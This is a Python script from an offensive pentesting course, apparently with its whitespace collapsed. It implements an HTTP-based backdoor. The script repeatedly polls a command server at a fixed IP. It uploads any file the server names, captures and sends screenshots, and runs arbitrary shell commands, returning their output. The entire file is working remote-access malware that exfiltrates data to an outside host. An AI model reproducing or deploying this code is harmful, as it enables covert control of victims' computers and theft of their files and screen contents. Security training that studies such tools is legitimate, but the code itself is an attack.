# Python For Offensive PenTest: A Complete Practical Course - All rights reserved # Follow me on LinkedIn https://jo.linkedin.com/in/python2importrequestsimportosimportsubprocessimporttimefromPILimportImageGrab# Used to Grab a screenshotimporttempfile# Used to Create a temp directoryimportshutil# Used to Remove the temp directorywhileTrue:req=requests.get('http://192.168.0.152:8080')command=req.textif'terminate'incommand:breakelif'grab'incommand:grab,path=command.split("*")ifos.path.exists(path):url="http://192.168.0.152:8080/store"files={'file':open(path,'rb')}r=requests.post(url,files=files)else:post_response=requests.post(url='http://192.168.0.152:8080',data='[-] Not able to find the file!'.encode())elif'screencap'incommand:#If we got a screencap keyword, then ..dirpath=tempfile.mkdtemp()#Create a temp dir to store our screenshot fileImageGrab.grab().save(dirpath+"\img.jpg","JPEG")#Save the screencap in the temp dirurl="http://192.168.0.152:8080/store"files={'file':open(dirpath+"\img.jpg",'rb')}r=requests.post(url,files=files)#Transfer the file over our HTTPfiles['file'].close()#Once the file gets transfered, close the file.shutil.rmtree(dirpath)#Remove the entire temp direlse:CMD=subprocess.Popen(command,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE)post_response=requests.post(url='http://192.168.0.152:8080',data=CMD.stdout.read())post_response=requests.post(url='http://192.168.0.152:8080',data=CMD.stderr.read())time.sleep(3)
Last update: 11 months ago2024-03-29
Created: April 10, 2023 16:52:50